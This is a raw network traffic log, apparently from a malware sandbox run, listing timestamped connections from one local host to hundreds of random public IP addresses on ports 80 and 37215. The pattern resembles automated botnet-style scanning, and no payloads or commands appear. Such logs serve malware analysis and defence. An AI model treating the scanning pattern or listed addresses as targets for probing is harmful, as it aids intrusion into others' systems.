Dec 3, 2024 22:16:52.684003115 CET	37707	80	192.168.2.23	217.134.151.90
Dec 3, 2024 22:16:52.684001923 CET	37707	80	192.168.2.23	201.154.187.33
Dec 3, 2024 22:16:52.684007883 CET	37707	80	192.168.2.23	196.172.64.159
Dec 3, 2024 22:16:52.684010029 CET	37707	80	192.168.2.23	60.186.107.54
Dec 3, 2024 22:16:52.684003115 CET	37707	80	192.168.2.23	154.122.17.4
Dec 3, 2024 22:16:52.684005976 CET	37707	80	192.168.2.23	164.73.72.160
Dec 3, 2024 22:16:52.684010029 CET	37707	80	192.168.2.23	158.235.72.206
Dec 3, 2024 22:16:52.684007883 CET	37707	80	192.168.2.23	36.149.239.171
Dec 3, 2024 22:16:52.684001923 CET	37707	80	192.168.2.23	202.85.185.201
Dec 3, 2024 22:16:52.684010029 CET	37707	80	192.168.2.23	171.88.208.203
Dec 3, 2024 22:16:52.684005976 CET	37707	80	192.168.2.23	138.112.7.68
Dec 3, 2024 22:16:52.684007883 CET	37707	80	192.168.2.23	57.60.24.121
Dec 3, 2024 22:16:52.684010029 CET	37707	80	192.168.2.23	117.135.175.17
Dec 3, 2024 22:16:52.684005976 CET	37707	80	192.168.2.23	196.87.182.216
Dec 3, 2024 22:16:52.684010029 CET	37707	80	192.168.2.23	39.128.241.135
Dec 3, 2024 22:16:52.684005976 CET	37707	80	192.168.2.23	141.38.22.237
Dec 3, 2024 22:16:52.684010029 CET	37707	80	192.168.2.23	150.168.150.67
Dec 3, 2024 22:16:52.684005976 CET	37707	80	192.168.2.23	47.186.13.40
Dec 3, 2024 22:16:52.684007883 CET	37707	80	192.168.2.23	131.105.68.152
Dec 3, 2024 22:16:52.684007883 CET	37707	80	192.168.2.23	64.188.118.179
Dec 3, 2024 22:16:52.684007883 CET	37707	80	192.168.2.23	82.156.100.79
Dec 3, 2024 22:16:52.684036016 CET	37707	80	192.168.2.23	89.29.153.155
Dec 3, 2024 22:16:52.684036016 CET	37707	80	192.168.2.23	139.12.240.7
Dec 3, 2024 22:16:52.684036016 CET	37707	80	192.168.2.23	165.101.36.250
Dec 3, 2024 22:16:52.684036016 CET	37707	80	192.168.2.23	37.20.71.121
Dec 3, 2024 22:16:52.684036016 CET	37707	80	192.168.2.23	131.124.10.22
Dec 3, 2024 22:16:52.684037924 CET	37707	80	192.168.2.23	166.186.33.236
Dec 3, 2024 22:16:52.684037924 CET	37707	80	192.168.2.23	156.99.96.135
Dec 3, 2024 22:16:52.684037924 CET	37707	80	192.168.2.23	34.72.210.142
Dec 3, 2024 22:16:52.684037924 CET	37707	80	192.168.2.23	44.101.107.237
Dec 3, 2024 22:16:52.684037924 CET	37707	80	192.168.2.23	58.183.172.66
Dec 3, 2024 22:16:52.684037924 CET	37707	80	192.168.2.23	142.10.255.131
Dec 3, 2024 22:16:52.684041977 CET	37707	80	192.168.2.23	31.161.75.27
Dec 3, 2024 22:16:52.684041977 CET	37707	80	192.168.2.23	145.28.244.96
Dec 3, 2024 22:16:52.684041977 CET	37707	80	192.168.2.23	25.85.192.64
Dec 3, 2024 22:16:52.684043884 CET	37707	80	192.168.2.23	53.168.36.91
Dec 3, 2024 22:16:52.684043884 CET	37707	80	192.168.2.23	172.67.83.78
Dec 3, 2024 22:16:52.684043884 CET	37707	80	192.168.2.23	164.22.220.113
Dec 3, 2024 22:16:52.684043884 CET	37707	80	192.168.2.23	60.50.3.182
Dec 3, 2024 22:16:52.684045076 CET	37707	80	192.168.2.23	208.230.229.245
Dec 3, 2024 22:16:52.684045076 CET	37707	80	192.168.2.23	197.205.148.105
Dec 3, 2024 22:16:52.684045076 CET	37707	80	192.168.2.23	147.21.22.55
Dec 3, 2024 22:16:52.684045076 CET	37707	80	192.168.2.23	132.245.240.90
Dec 3, 2024 22:16:52.684045076 CET	37707	80	192.168.2.23	105.209.114.83
Dec 3, 2024 22:16:52.684045076 CET	37707	80	192.168.2.23	181.201.223.147
Dec 3, 2024 22:16:52.684045076 CET	37707	80	192.168.2.23	114.134.115.114
Dec 3, 2024 22:16:52.684045076 CET	37707	80	192.168.2.23	218.8.145.39
Dec 3, 2024 22:16:52.684045076 CET	37707	80	192.168.2.23	117.167.191.70
Dec 3, 2024 22:16:52.684045076 CET	37707	80	192.168.2.23	136.143.56.78
Dec 3, 2024 22:16:52.684045076 CET	37707	80	192.168.2.23	5.136.73.130
Dec 3, 2024 22:16:52.684045076 CET	37707	80	192.168.2.23	48.234.124.159
Dec 3, 2024 22:16:52.684045076 CET	37707	80	192.168.2.23	180.130.81.28
Dec 3, 2024 22:16:52.684045076 CET	37707	80	192.168.2.23	171.186.255.189
Dec 3, 2024 22:16:52.684045076 CET	37707	80	192.168.2.23	42.201.198.208
Dec 3, 2024 22:16:52.684060097 CET	37707	80	192.168.2.23	2.207.118.238
Dec 3, 2024 22:16:52.684060097 CET	37707	80	192.168.2.23	76.62.51.249
Dec 3, 2024 22:16:52.684082985 CET	37707	80	192.168.2.23	95.192.146.35
Dec 3, 2024 22:16:52.684082985 CET	37707	80	192.168.2.23	197.184.175.149
Dec 3, 2024 22:16:52.684082985 CET	37707	80	192.168.2.23	112.169.194.26
Dec 3, 2024 22:16:52.684082985 CET	37707	80	192.168.2.23	51.77.153.255
Dec 3, 2024 22:16:52.684082985 CET	37707	80	192.168.2.23	18.147.195.195
Dec 3, 2024 22:16:52.684082985 CET	37707	80	192.168.2.23	104.228.204.20
Dec 3, 2024 22:16:52.684087992 CET	37707	80	192.168.2.23	92.58.87.100
Dec 3, 2024 22:16:52.684087992 CET	37707	80	192.168.2.23	109.36.29.244
Dec 3, 2024 22:16:52.684087992 CET	37707	80	192.168.2.23	129.174.217.162
Dec 3, 2024 22:16:52.684088945 CET	37707	80	192.168.2.23	142.58.38.114
Dec 3, 2024 22:16:52.684089899 CET	37707	80	192.168.2.23	163.218.167.104
Dec 3, 2024 22:16:52.684089899 CET	37707	80	192.168.2.23	191.176.219.177
Dec 3, 2024 22:16:52.684092999 CET	37707	80	192.168.2.23	66.253.77.153
Dec 3, 2024 22:16:52.684089899 CET	37707	80	192.168.2.23	199.192.90.199
Dec 3, 2024 22:16:52.684088945 CET	37707	80	192.168.2.23	172.164.19.180
Dec 3, 2024 22:16:52.684089899 CET	37707	80	192.168.2.23	27.36.87.110
Dec 3, 2024 22:16:52.684088945 CET	37707	80	192.168.2.23	46.116.152.77
Dec 3, 2024 22:16:52.684089899 CET	37707	80	192.168.2.23	109.227.85.64
Dec 3, 2024 22:16:52.684088945 CET	37707	80	192.168.2.23	134.123.235.6
Dec 3, 2024 22:16:52.684089899 CET	37707	80	192.168.2.23	92.62.103.137
Dec 3, 2024 22:16:52.684092999 CET	37707	80	192.168.2.23	199.175.215.86
Dec 3, 2024 22:16:52.684088945 CET	37707	80	192.168.2.23	83.53.231.178
Dec 3, 2024 22:16:52.684092999 CET	37707	80	192.168.2.23	114.56.162.164
Dec 3, 2024 22:16:52.684089899 CET	37707	80	192.168.2.23	200.70.244.35
Dec 3, 2024 22:16:52.684088945 CET	37707	80	192.168.2.23	212.197.36.252
Dec 3, 2024 22:16:52.684089899 CET	37707	80	192.168.2.23	102.81.105.212
Dec 3, 2024 22:16:52.684088945 CET	37707	80	192.168.2.23	118.236.187.51
Dec 3, 2024 22:16:52.684092999 CET	37707	80	192.168.2.23	129.122.29.107
Dec 3, 2024 22:16:52.684088945 CET	37707	80	192.168.2.23	119.193.46.209
Dec 3, 2024 22:16:52.684092999 CET	37707	80	192.168.2.23	74.68.251.169
Dec 3, 2024 22:16:52.684088945 CET	37707	80	192.168.2.23	8.236.53.231
Dec 3, 2024 22:16:52.684092999 CET	37707	80	192.168.2.23	181.20.198.110
Dec 3, 2024 22:16:52.684088945 CET	37707	80	192.168.2.23	59.240.150.3
Dec 3, 2024 22:16:52.684092999 CET	37707	80	192.168.2.23	212.45.255.93
Dec 3, 2024 22:16:52.684092999 CET	37707	80	192.168.2.23	143.184.223.201
Dec 3, 2024 22:16:52.684089899 CET	37707	80	192.168.2.23	14.190.164.170
Dec 3, 2024 22:16:52.684092999 CET	37707	80	192.168.2.23	168.37.39.179
Dec 3, 2024 22:16:52.684089899 CET	37707	80	192.168.2.23	201.87.122.164
Dec 3, 2024 22:16:52.684092999 CET	37707	80	192.168.2.23	167.163.54.142
Dec 3, 2024 22:16:52.684088945 CET	37707	80	192.168.2.23	119.116.196.212
Dec 3, 2024 22:16:52.684092999 CET	37707	80	192.168.2.23	23.243.188.176
Dec 3, 2024 22:16:52.684088945 CET	37707	80	192.168.2.23	137.37.125.195
Dec 3, 2024 22:16:52.684092999 CET	37707	80	192.168.2.23	217.210.185.201
Dec 3, 2024 22:16:52.684089899 CET	37707	80	192.168.2.23	104.44.25.29
Dec 3, 2024 22:16:52.684089899 CET	37707	80	192.168.2.23	64.94.127.29
Dec 3, 2024 22:16:52.684115887 CET	37707	80	192.168.2.23	197.182.135.140
Dec 3, 2024 22:16:52.684118986 CET	37707	80	192.168.2.23	51.13.81.235
Dec 3, 2024 22:16:52.684118986 CET	37707	80	192.168.2.23	157.163.67.14
Dec 3, 2024 22:16:52.684118986 CET	37707	80	192.168.2.23	140.46.255.171
Dec 3, 2024 22:16:52.684118986 CET	37707	80	192.168.2.23	104.227.63.242
Dec 3, 2024 22:16:52.684120893 CET	37707	80	192.168.2.23	195.160.208.120
Dec 3, 2024 22:16:52.684120893 CET	37707	80	192.168.2.23	129.51.100.97
Dec 3, 2024 22:16:52.684120893 CET	37707	80	192.168.2.23	59.125.244.37
Dec 3, 2024 22:16:52.684123039 CET	37707	80	192.168.2.23	51.16.24.245
Dec 3, 2024 22:16:52.684123039 CET	37707	80	192.168.2.23	110.142.183.74
Dec 3, 2024 22:16:52.684123039 CET	37707	80	192.168.2.23	2.227.246.219
Dec 3, 2024 22:16:52.684123039 CET	37707	80	192.168.2.23	27.78.40.10
Dec 3, 2024 22:16:52.684123039 CET	37707	80	192.168.2.23	80.87.147.111
Dec 3, 2024 22:16:52.684123039 CET	37707	80	192.168.2.23	23.147.88.165
Dec 3, 2024 22:16:52.684123039 CET	37707	80	192.168.2.23	185.104.60.28
Dec 3, 2024 22:16:52.684123039 CET	37707	80	192.168.2.23	12.128.20.145
Dec 3, 2024 22:16:52.684123039 CET	37707	80	192.168.2.23	114.253.67.36
Dec 3, 2024 22:16:52.684123039 CET	37707	80	192.168.2.23	2.8.36.122
Dec 3, 2024 22:16:52.684123039 CET	37707	80	192.168.2.23	152.60.136.108
Dec 3, 2024 22:16:52.684123039 CET	37707	80	192.168.2.23	93.93.232.159
Dec 3, 2024 22:16:52.684123039 CET	37707	80	192.168.2.23	13.187.19.207
Dec 3, 2024 22:16:52.684129953 CET	37707	80	192.168.2.23	198.197.249.59
Dec 3, 2024 22:16:52.684129953 CET	37707	80	192.168.2.23	87.237.89.148
Dec 3, 2024 22:16:52.684129953 CET	37707	80	192.168.2.23	13.34.218.129
Dec 3, 2024 22:16:52.684129953 CET	37707	80	192.168.2.23	136.181.118.98
Dec 3, 2024 22:16:52.684129953 CET	37707	80	192.168.2.23	8.232.66.36
Dec 3, 2024 22:16:52.684123039 CET	37707	80	192.168.2.23	216.3.210.226
Dec 3, 2024 22:16:52.684123039 CET	37707	80	192.168.2.23	88.12.180.140
Dec 3, 2024 22:16:52.684123039 CET	37707	80	192.168.2.23	72.15.215.103
Dec 3, 2024 22:16:52.684129953 CET	37707	80	192.168.2.23	193.84.100.247
Dec 3, 2024 22:16:52.684129953 CET	37707	80	192.168.2.23	83.14.215.216
Dec 3, 2024 22:16:52.684129953 CET	37707	80	192.168.2.23	126.5.244.59
Dec 3, 2024 22:16:52.684139967 CET	37707	80	192.168.2.23	115.57.200.16
Dec 3, 2024 22:16:52.684139967 CET	37707	80	192.168.2.23	176.64.255.212
Dec 3, 2024 22:16:52.684139967 CET	37707	80	192.168.2.23	121.155.202.212
Dec 3, 2024 22:16:52.684129953 CET	37707	80	192.168.2.23	134.42.2.72
Dec 3, 2024 22:16:52.684129953 CET	37707	80	192.168.2.23	109.92.36.162
Dec 3, 2024 22:16:52.684129953 CET	37707	80	192.168.2.23	143.172.240.211
Dec 3, 2024 22:16:52.684129953 CET	37707	80	192.168.2.23	92.73.9.245
Dec 3, 2024 22:16:52.684144020 CET	37707	80	192.168.2.23	53.145.51.194
Dec 3, 2024 22:16:52.684144020 CET	37707	80	192.168.2.23	178.234.214.76
Dec 3, 2024 22:16:52.684144974 CET	37707	80	192.168.2.23	89.99.13.134
Dec 3, 2024 22:16:52.684144974 CET	37707	80	192.168.2.23	118.234.164.80
Dec 3, 2024 22:16:52.684144974 CET	37707	80	192.168.2.23	4.145.82.223
Dec 3, 2024 22:16:52.684150934 CET	37707	80	192.168.2.23	32.201.161.81
Dec 3, 2024 22:16:52.684150934 CET	37707	80	192.168.2.23	31.71.58.243
Dec 3, 2024 22:16:52.684151888 CET	37707	80	192.168.2.23	203.108.47.134
Dec 3, 2024 22:16:52.684154987 CET	37707	80	192.168.2.23	118.2.97.51
Dec 3, 2024 22:16:52.684154987 CET	37707	80	192.168.2.23	68.70.230.209
Dec 3, 2024 22:16:52.684154987 CET	37707	80	192.168.2.23	82.31.0.24
Dec 3, 2024 22:16:52.684154987 CET	37707	80	192.168.2.23	17.125.6.37
Dec 3, 2024 22:16:52.691473961 CET	53260	37215	192.168.2.23	197.235.112.160
Dec 3, 2024 22:16:52.691473961 CET	37692	80	192.168.2.23	136.240.205.73
Dec 3, 2024 22:16:52.691482067 CET	56330	80	192.168.2.23	129.37.9.102
Dec 3, 2024 22:16:52.691483974 CET	55072	37215	192.168.2.23	41.145.183.178
Dec 3, 2024 22:16:52.691483021 CET	33186	80	192.168.2.23	4.155.227.248
Dec 3, 2024 22:16:52.691484928 CET	41784	80	192.168.2.23	46.72.44.235
Dec 3, 2024 22:16:52.691483021 CET	47152	80	192.168.2.23	171.27.195.82
Dec 3, 2024 22:16:52.691484928 CET	47696	80	192.168.2.23	157.179.137.136
Dec 3, 2024 22:16:52.691490889 CET	34910	37215	192.168.2.23	197.85.75.36
Dec 3, 2024 22:16:52.691490889 CET	36530	80	192.168.2.23	175.106.22.71
Dec 3, 2024 22:16:52.691490889 CET	50306	80	192.168.2.23	134.76.21.179
Dec 3, 2024 22:16:52.691490889 CET	39490	80	192.168.2.23	159.132.35.218
Dec 3, 2024 22:16:52.691494942 CET	37390	80	192.168.2.23	200.98.99.254
Dec 3, 2024 22:16:52.691494942 CET	44096	80	192.168.2.23	90.130.74.93
Dec 3, 2024 22:16:52.691499949 CET	41952	80	192.168.2.23	70.246.26.77
Dec 3, 2024 22:16:52.691500902 CET	55778	80	192.168.2.23	118.92.116.31
Dec 3, 2024 22:16:52.691500902 CET	47612	80	192.168.2.23	210.159.47.47
Dec 3, 2024 22:16:52.691502094 CET	36600	80	192.168.2.23	60.254.185.199
Dec 3, 2024 22:16:52.691512108 CET	46822	80	192.168.2.23	79.199.171.78
Dec 3, 2024 22:16:52.691514015 CET	39410	80	192.168.2.23	71.39.118.187
Dec 3, 2024 22:16:52.691514969 CET	37734	80	192.168.2.23	150.244.142.161
Dec 3, 2024 22:16:52.691515923 CET	46786	80	192.168.2.23	39.44.135.78
Dec 3, 2024 22:16:52.691515923 CET	56062	80	192.168.2.23	63.233.16.98
Dec 3, 2024 22:16:52.691517115 CET	59880	80	192.168.2.23	34.232.155.108
Dec 3, 2024 22:16:52.691519976 CET	53396	80	192.168.2.23	148.72.231.18
Dec 3, 2024 22:16:52.691519976 CET	42868	80	192.168.2.23	183.28.92.158
Dec 3, 2024 22:16:52.691526890 CET	43208	80	192.168.2.23	193.238.40.164
Dec 3, 2024 22:16:52.691533089 CET	54174	80	192.168.2.23	120.198.118.153
Dec 3, 2024 22:16:52.691533089 CET	56516	80	192.168.2.23	143.144.238.248
Dec 3, 2024 22:16:52.691533089 CET	48090	80	192.168.2.23	104.124.112.193
Dec 3, 2024 22:16:52.691534996 CET	37382	80	192.168.2.23	218.52.101.220
Dec 3, 2024 22:16:52.691535950 CET	45688	80	192.168.2.23	64.59.135.200
Dec 3, 2024 22:16:52.691535950 CET	33080	80	192.168.2.23	121.253.73.189
Dec 3, 2024 22:16:52.691535950 CET	48930	80	192.168.2.23	206.227.56.7
Dec 3, 2024 22:16:52.691540956 CET	41380	80	192.168.2.23	152.45.45.238
Dec 3, 2024 22:16:52.691540956 CET	54954	80	192.168.2.23	78.142.26.92
Dec 3, 2024 22:16:52.691543102 CET	38290	80	192.168.2.23	207.6.169.4
Dec 3, 2024 22:16:52.691545963 CET	59220	80	192.168.2.23	40.210.155.2
Dec 3, 2024 22:16:52.691545010 CET	38914	80	192.168.2.23	186.113.80.73
Dec 3, 2024 22:16:52.691551924 CET	42170	80	192.168.2.23	39.158.171.31
Dec 3, 2024 22:16:52.691551924 CET	33902	80	192.168.2.23	223.121.225.70
Dec 3, 2024 22:16:52.691553116 CET	46344	80	192.168.2.23	121.148.192.123
Dec 3, 2024 22:16:52.691555023 CET	42644	80	192.168.2.23	98.62.217.116
Dec 3, 2024 22:16:52.715738058 CET	80	52256	110.23.29.220	192.168.2.23
Dec 3, 2024 22:16:52.715826035 CET	80	49576	107.229.45.191	192.168.2.23
Dec 3, 2024 22:16:52.715837955 CET	80	52704	182.205.184.220	192.168.2.23
Dec 3, 2024 22:16:52.715912104 CET	52256	80	192.168.2.23	110.23.29.220
Dec 3, 2024 22:16:52.715912104 CET	52256	80	192.168.2.23	110.23.29.220
Dec 3, 2024 22:16:52.715912104 CET	49576	80	192.168.2.23	107.229.45.191
Dec 3, 2024 22:16:52.715912104 CET	52704	80	192.168.2.23	182.205.184.220
Dec 3, 2024 22:16:52.715912104 CET	49576	80	192.168.2.23	107.229.45.191
Dec 3, 2024 22:16:52.715929031 CET	52704	80	192.168.2.23	182.205.184.220
Dec 3, 2024 22:16:52.723472118 CET	39612	80	192.168.2.23	191.228.77.210
Dec 3, 2024 22:16:52.723473072 CET	59226	80	192.168.2.23	116.216.114.6
Dec 3, 2024 22:16:52.723475933 CET	45612	80	192.168.2.23	174.180.202.76
Dec 3, 2024 22:16:52.723476887 CET	42840	80	192.168.2.23	189.147.217.224
Dec 3, 2024 22:16:52.723486900 CET	39388	80	192.168.2.23	116.204.202.129
Dec 3, 2024 22:16:52.723486900 CET	44492	80	192.168.2.23	178.212.220.26
Dec 3, 2024 22:16:52.723488092 CET	45186	80	192.168.2.23	18.59.250.35
Dec 3, 2024 22:16:52.723486900 CET	44106	80	192.168.2.23	211.28.212.81
Dec 3, 2024 22:16:52.723488092 CET	48710	80	192.168.2.23	36.154.130.46
Dec 3, 2024 22:16:52.723488092 CET	59900	80	192.168.2.23	173.176.117.13
Dec 3, 2024 22:16:52.723490000 CET	55834	80	192.168.2.23	78.206.124.69
Dec 3, 2024 22:16:52.787585974 CET	41964	80	192.168.2.23	192.18.96.173
Dec 3, 2024 22:16:52.803850889 CET	80	37707	180.60.94.132	192.168.2.23
Dec 3, 2024 22:16:52.803864956 CET	80	37707	174.196.88.173	192.168.2.23
Dec 3, 2024 22:16:52.803873062 CET	80	37707	60.178.102.141	192.168.2.23
Dec 3, 2024 22:16:52.803881884 CET	80	37707	156.146.98.24	192.168.2.23
Dec 3, 2024 22:16:52.803885937 CET	80	37707	173.92.73.28	192.168.2.23
Dec 3, 2024 22:16:52.803889990 CET	80	37707	207.31.188.4	192.168.2.23
Dec 3, 2024 22:16:52.803946018 CET	80	37707	129.65.108.220	192.168.2.23
Dec 3, 2024 22:16:52.803966999 CET	80	37707	131.59.130.94	192.168.2.23
Dec 3, 2024 22:16:52.804003000 CET	37707	80	192.168.2.23	60.178.102.141
Dec 3, 2024 22:16:52.804004908 CET	37707	80	192.168.2.23	207.31.188.4
Dec 3, 2024 22:16:52.804004908 CET	80	37707	20.46.92.83	192.168.2.23
Dec 3, 2024 22:16:52.804016113 CET	37707	80	192.168.2.23	156.146.98.24
Dec 3, 2024 22:16:52.804018974 CET	37707	80	192.168.2.23	174.196.88.173
Dec 3, 2024 22:16:52.804019928 CET	37707	80	192.168.2.23	180.60.94.132
Dec 3, 2024 22:16:52.804019928 CET	37707	80	192.168.2.23	129.65.108.220
Dec 3, 2024 22:16:52.804019928 CET	37707	80	192.168.2.23	131.59.130.94
Dec 3, 2024 22:16:52.804023981 CET	37707	80	192.168.2.23	173.92.73.28
Dec 3, 2024 22:16:52.804043055 CET	37707	80	192.168.2.23	20.46.92.83
Dec 3, 2024 22:16:52.811486959 CET	37215	53260	197.235.112.160	192.168.2.23
Dec 3, 2024 22:16:52.811505079 CET	80	35252	210.36.162.136	192.168.2.23
Dec 3, 2024 22:16:52.811534882 CET	53260	37215	192.168.2.23	197.235.112.160
Dec 3, 2024 22:16:52.811575890 CET	37451	37215	192.168.2.23	197.125.185.133
Dec 3, 2024 22:16:52.811583042 CET	37451	37215	192.168.2.23	156.127.117.248
Dec 3, 2024 22:16:52.811584949 CET	37451	37215	192.168.2.23	156.173.48.6
Dec 3, 2024 22:16:52.811587095 CET	37451	37215	192.168.2.23	41.72.40.186
Dec 3, 2024 22:16:52.811587095 CET	37451	37215	192.168.2.23	156.142.216.19
Dec 3, 2024 22:16:52.811589956 CET	37451	37215	192.168.2.23	156.30.63.25
Dec 3, 2024 22:16:52.811589956 CET	37451	37215	192.168.2.23	197.1.206.139
Dec 3, 2024 22:16:52.811598063 CET	37451	37215	192.168.2.23	156.110.116.192
Dec 3, 2024 22:16:52.811599016 CET	37451	37215	192.168.2.23	41.181.158.130
Dec 3, 2024 22:16:52.811602116 CET	37451	37215	192.168.2.23	41.164.236.180
Dec 3, 2024 22:16:52.811614990 CET	37451	37215	192.168.2.23	156.180.214.112
Dec 3, 2024 22:16:52.811618090 CET	37451	37215	192.168.2.23	41.255.8.185
Dec 3, 2024 22:16:52.811625004 CET	37451	37215	192.168.2.23	197.219.107.27
Dec 3, 2024 22:16:52.811628103 CET	37451	37215	192.168.2.23	156.112.202.118
Dec 3, 2024 22:16:52.811628103 CET	37451	37215	192.168.2.23	197.114.16.252
Dec 3, 2024 22:16:52.811633110 CET	37451	37215	192.168.2.23	156.116.222.183
Dec 3, 2024 22:16:52.811655998 CET	37451	37215	192.168.2.23	197.1.161.107
Dec 3, 2024 22:16:52.811655998 CET	37451	37215	192.168.2.23	41.50.147.49
Dec 3, 2024 22:16:52.811655998 CET	37451	37215	192.168.2.23	197.117.171.170
Dec 3, 2024 22:16:52.811657906 CET	37451	37215	192.168.2.23	197.203.150.35
Dec 3, 2024 22:16:52.811661959 CET	37451	37215	192.168.2.23	156.77.35.17
Dec 3, 2024 22:16:52.811665058 CET	37451	37215	192.168.2.23	156.90.205.178
Dec 3, 2024 22:16:52.811666965 CET	37451	37215	192.168.2.23	197.69.242.152
Dec 3, 2024 22:16:52.811669111 CET	37451	37215	192.168.2.23	197.110.188.205
Dec 3, 2024 22:16:52.811675072 CET	37451	37215	192.168.2.23	197.229.68.128
Dec 3, 2024 22:16:52.811676025 CET	37451	37215	192.168.2.23	197.216.173.193
Dec 3, 2024 22:16:52.811691046 CET	37451	37215	192.168.2.23	156.221.20.174
Dec 3, 2024 22:16:52.811695099 CET	37451	37215	192.168.2.23	156.26.130.13
Dec 3, 2024 22:16:52.811697006 CET	37451	37215	192.168.2.23	156.7.140.154
Dec 3, 2024 22:16:52.811697960 CET	37451	37215	192.168.2.23	156.105.162.103
Dec 3, 2024 22:16:52.811700106 CET	37451	37215	192.168.2.23	41.44.48.2
Dec 3, 2024 22:16:52.811712027 CET	37451	37215	192.168.2.23	197.234.95.112
Dec 3, 2024 22:16:52.811719894 CET	37451	37215	192.168.2.23	197.116.172.240
Dec 3, 2024 22:16:52.811719894 CET	37451	37215	192.168.2.23	156.173.63.112
Dec 3, 2024 22:16:52.811728954 CET	37451	37215	192.168.2.23	41.141.230.114
Dec 3, 2024 22:16:52.811728954 CET	37451	37215	192.168.2.23	197.231.62.210
Dec 3, 2024 22:16:52.811747074 CET	37451	37215	192.168.2.23	197.75.46.233
Dec 3, 2024 22:16:52.811747074 CET	37451	37215	192.168.2.23	156.235.161.206
Dec 3, 2024 22:16:52.811749935 CET	37451	37215	192.168.2.23	197.244.211.240
Dec 3, 2024 22:16:52.811759949 CET	37451	37215	192.168.2.23	197.234.226.223
Dec 3, 2024 22:16:52.811759949 CET	37451	37215	192.168.2.23	197.21.4.44
Dec 3, 2024 22:16:52.811760902 CET	37451	37215	192.168.2.23	197.26.197.44
Dec 3, 2024 22:16:52.811762094 CET	37451	37215	192.168.2.23	156.251.61.248
Dec 3, 2024 22:16:52.811768055 CET	37451	37215	192.168.2.23	156.196.172.127
Dec 3, 2024 22:16:52.811768055 CET	37451	37215	192.168.2.23	156.161.13.220
Dec 3, 2024 22:16:52.811775923 CET	37451	37215	192.168.2.23	156.103.136.192
Dec 3, 2024 22:16:52.811784983 CET	37451	37215	192.168.2.23	156.149.229.255
Dec 3, 2024 22:16:52.811790943 CET	37451	37215	192.168.2.23	156.18.96.37
Dec 3, 2024 22:16:52.811791897 CET	37451	37215	192.168.2.23	41.53.12.175
Dec 3, 2024 22:16:52.811794996 CET	37451	37215	192.168.2.23	197.1.236.205
Dec 3, 2024 22:16:52.811794996 CET	37451	37215	192.168.2.23	156.221.197.102
Dec 3, 2024 22:16:52.811794996 CET	37451	37215	192.168.2.23	41.243.64.23
Dec 3, 2024 22:16:52.811805964 CET	37451	37215	192.168.2.23	156.213.36.132
Dec 3, 2024 22:16:52.811811924 CET	37451	37215	192.168.2.23	197.29.31.71
Dec 3, 2024 22:16:52.811813116 CET	37451	37215	192.168.2.23	41.205.172.139
Dec 3, 2024 22:16:52.811824083 CET	37451	37215	192.168.2.23	41.180.190.56
Dec 3, 2024 22:16:52.811830044 CET	37451	37215	192.168.2.23	156.101.106.207
Dec 3, 2024 22:16:52.811830044 CET	37451	37215	192.168.2.23	156.201.156.182
Dec 3, 2024 22:16:52.811836958 CET	37451	37215	192.168.2.23	41.118.51.243
Dec 3, 2024 22:16:52.811836958 CET	37451	37215	192.168.2.23	197.207.139.94
Dec 3, 2024 22:16:52.811839104 CET	37451	37215	192.168.2.23	156.75.36.102
Dec 3, 2024 22:16:52.811841965 CET	37451	37215	192.168.2.23	156.185.44.37
Dec 3, 2024 22:16:52.811847925 CET	37451	37215	192.168.2.23	197.84.11.161
Dec 3, 2024 22:16:52.811856985 CET	37451	37215	192.168.2.23	197.164.198.104
Dec 3, 2024 22:16:52.811861992 CET	37451	37215	192.168.2.23	41.21.12.33
Dec 3, 2024 22:16:52.811868906 CET	37451	37215	192.168.2.23	156.3.185.71
Dec 3, 2024 22:16:52.811882973 CET	37451	37215	192.168.2.23	41.244.187.118
Dec 3, 2024 22:16:52.811886072 CET	37451	37215	192.168.2.23	156.204.60.20
Dec 3, 2024 22:16:52.811889887 CET	37451	37215	192.168.2.23	156.181.215.133
Dec 3, 2024 22:16:52.811889887 CET	37451	37215	192.168.2.23	197.115.64.102
Dec 3, 2024 22:16:52.811892986 CET	37451	37215	192.168.2.23	197.7.254.132
Dec 3, 2024 22:16:52.811894894 CET	37451	37215	192.168.2.23	41.55.145.140
Dec 3, 2024 22:16:52.811898947 CET	37451	37215	192.168.2.23	197.23.216.216
Dec 3, 2024 22:16:52.811901093 CET	37451	37215	192.168.2.23	41.233.244.59
Dec 3, 2024 22:16:52.811907053 CET	37451	37215	192.168.2.23	197.116.33.67
Dec 3, 2024 22:16:52.811909914 CET	37451	37215	192.168.2.23	197.135.200.131
Dec 3, 2024 22:16:52.811909914 CET	37451	37215	192.168.2.23	41.67.109.11
Dec 3, 2024 22:16:52.811914921 CET	37451	37215	192.168.2.23	156.137.131.59
Dec 3, 2024 22:16:52.811914921 CET	37451	37215	192.168.2.23	156.33.203.76
Dec 3, 2024 22:16:52.811922073 CET	37451	37215	192.168.2.23	156.179.9.6
Dec 3, 2024 22:16:52.811924934 CET	37451	37215	192.168.2.23	41.199.159.5
Dec 3, 2024 22:16:52.811924934 CET	37451	37215	192.168.2.23	156.42.13.103
Dec 3, 2024 22:16:52.811924934 CET	37451	37215	192.168.2.23	41.81.118.42
Dec 3, 2024 22:16:52.811928988 CET	37451	37215	192.168.2.23	41.3.246.225
Dec 3, 2024 22:16:52.811932087 CET	37451	37215	192.168.2.23	197.54.170.101
Dec 3, 2024 22:16:52.811933041 CET	37451	37215	192.168.2.23	197.231.149.213
Dec 3, 2024 22:16:52.811947107 CET	37451	37215	192.168.2.23	156.241.203.234
Dec 3, 2024 22:16:52.811948061 CET	37451	37215	192.168.2.23	41.196.198.98
Dec 3, 2024 22:16:52.811954021 CET	37451	37215	192.168.2.23	156.99.242.168
Dec 3, 2024 22:16:52.811956882 CET	37451	37215	192.168.2.23	197.48.211.0
Dec 3, 2024 22:16:52.811956882 CET	37451	37215	192.168.2.23	156.239.135.114
Dec 3, 2024 22:16:52.811959982 CET	37451	37215	192.168.2.23	197.130.60.95
Dec 3, 2024 22:16:52.811961889 CET	37451	37215	192.168.2.23	156.189.212.139
Dec 3, 2024 22:16:52.811965942 CET	37451	37215	192.168.2.23	197.114.136.174
Dec 3, 2024 22:16:52.811965942 CET	37451	37215	192.168.2.23	156.42.191.166
Dec 3, 2024 22:16:52.811973095 CET	37451	37215	192.168.2.23	156.185.75.113
Dec 3, 2024 22:16:52.811980009 CET	37451	37215	192.168.2.23	197.246.97.181
Dec 3, 2024 22:16:52.811980963 CET	37451	37215	192.168.2.23	41.16.128.229
Dec 3, 2024 22:16:52.811986923 CET	37451	37215	192.168.2.23	41.41.124.95
Dec 3, 2024 22:16:52.811989069 CET	37451	37215	192.168.2.23	41.247.63.150
Dec 3, 2024 22:16:52.811994076 CET	37451	37215	192.168.2.23	197.193.6.78
